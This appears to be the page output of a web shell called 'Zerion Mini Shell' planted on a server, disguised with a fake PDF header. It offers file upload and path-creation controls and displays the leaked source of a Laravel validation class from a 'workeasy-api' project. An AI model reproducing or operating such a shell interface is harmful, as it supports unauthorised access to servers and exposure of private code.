%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/app/Http/Requests/Users/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/app/Http/Requests/Users/UserUpdateRequest.php

<?php
/**
 * Created by PhpStorm.
 * User: User
 * Date: 1/29/2018
 * Time: 10:37 AM
 */

namespace Workeasy\Http\Requests\Users;

use Workeasy\Http\Requests\BaseRequest;


class UserUpdateRequest extends BaseRequest
{
    public function authorize()
    {
        return true;
    }

    public function rules()
    {
        return [
            'id'                   => 'required|integer|exists:users,id',
            'email'                => 'required|string|email|unique:users,email,' . $this->get('id'),
            'company'              => 'required|array',
            'company.id'           => 'required|integer|exists:companies,id',
            'company.name'         => 'required|string|unique:companies,name,' . $this->get('company')['id'],
            'company.industry'     => 'required|string',
            'company.vat'          => 'required|string|unique:companies,vat,' . $this->get('company')['id'],
            'company.address'      => 'required|string',
            'company.phone_number' => 'required|string',
            'media'                => 'nullable|string',
        ];
    }

}

Zerion Mini Shell 1.0